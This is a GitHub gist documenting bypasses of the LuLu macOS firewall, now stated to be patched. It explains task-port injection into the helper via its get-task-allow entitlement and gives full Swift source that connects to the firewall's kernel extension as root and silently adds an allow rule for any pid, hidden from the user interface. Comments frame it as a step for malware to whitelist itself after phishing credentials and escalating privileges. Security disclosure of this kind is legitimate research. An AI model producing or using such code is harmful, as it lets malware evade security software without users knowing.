Skip to content

Instantly share code, notes, and snippets.

@xpcmdshell
Last active March 25, 2021 23:17
Show Gist options
  • Save xpcmdshell/a808cc8f6ca3219d5ca29766a87a931d to your computer and use it in GitHub Desktop.
Save xpcmdshell/a808cc8f6ca3219d5ca29766a87a931d to your computer and use it in GitHub Desktop.
Lulu Bypass [dead]

LuLu bypasses

LuLu Helper (/Applications/LuLu.app/Contents/Library/LoginItems/LuLu Helper.app/Contents/MacOS/LuLu Helper) is the user mode GUI app that communicates with the kernel extension, and provides a nice interface for the user to define and view socket filtering rulesets (block/allow). The kernel extension is responsible for performing socket creation filtering based on these user defined rulesets.

The user mode helper sends ruleset and preferences creation, deletion, and modification requests by calling methods in an exported interface (XPCDaemonProtocol) on an exported XPC object. The XPC service it connects to is com.objective-see.lulu.

The LuLu Helper ships with the get-task-allow entitlement, so any program can get its task port using task_for_pid().

[ λ ~ ] jtool --ent "/Applications/LuLu.app/Contents/Library/LoginItems/LuLu Helper.app/Contents/MacOS/LuLu Helper"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>com.apple.security.get-task-allow</key>
	<true/>
</dict>
</plist>

Combining these, we can inject a payload into the user mode helper via task_for_pid() that calls the exported -[XPCDaemonClient addRule:action:] method with a rule that whitelists our malware.

Additionally, since we have code execution in the user mode app, we can alter how the application responds to results returned by the -[XPCDaemonClient getRules:]. We can cause the user mode helper to not display our malware whitelist rule to the user if they go to view the list of active rules.

This appears to have been killed in v1.2.0 when Patrick added hardened runtime to all parts of the application.


It’s still possible to connect to the advertised mach service using by matching com_objective_see_firewall and calling external method 2 with an input struct containing the pid to act upon, and an action (block or allow).

Sample code:

// The LuLu kernel extension doesn't currently verify that the service client is signed by
// Objective-See, but it does restrict clients that aren't root. If you're root, you can
// connect and add an active rule that doesn't show up in the UI.
//
// Do a local cred phish, elevate privileges, have malware whitelist itself, then connect home?
// Author: actae0n

import Foundation
import IOKit

// A few useful constants
let RULE_STATE_BLOCK: UInt64 = 0
let RULE_STATE_ALLOW: UInt64 = 1
let ioServiceName = strdup("com_objective_see_firewall")

var serviceObj: io_service_t = 0;
var status: kern_return_t
var connectionHandle: io_connect_t = 0
var targetPid: UInt64 = 0

if CommandLine.argc < 2 {
    print("Usage: ./\(ProcessInfo.processInfo.processName) [pid to whitelist]")
    exit(-1)
}

if let possiblePid = UInt64(CommandLine.arguments[1]) {
    targetPid = possiblePid
} else {
    print("Argument must be a pid")
    exit(-1)
}



// Look up the IOService by name
serviceObj = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(ioServiceName))
if serviceObj == 0 {
    print("Failed to find matching service!")
    exit(-1)
} else {
    print("Got matching service...")
}

// Connect to the mach service
status = IOServiceOpen(serviceObj, mach_task_self_, 0, &connectionHandle)
if status != KERN_SUCCESS {
    print("Failed to connect!")
    exit(-1)
} else {
    print("Connection established...")
}

// 2 inputs, a rule and a pid
var inputCount: UInt32 = 2
var input =  [UInt64](repeatElement(0, count: Int(inputCount)))

// Action: Allow
input[0] = RULE_STATE_ALLOW
// Pid
input[1] = targetPid

status = IOConnectCallScalarMethod(connectionHandle, 2, input, inputCount, nil, nil)
if status != KERN_SUCCESS {
    print("Failed to add rule")
} else {
    print("Rule has been silently added, this should not show up in the LuLu UI.")
}

This was fixed by validating the XPC client through its audit token. Probably happened when things got rewritten for the new Network Extension system.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment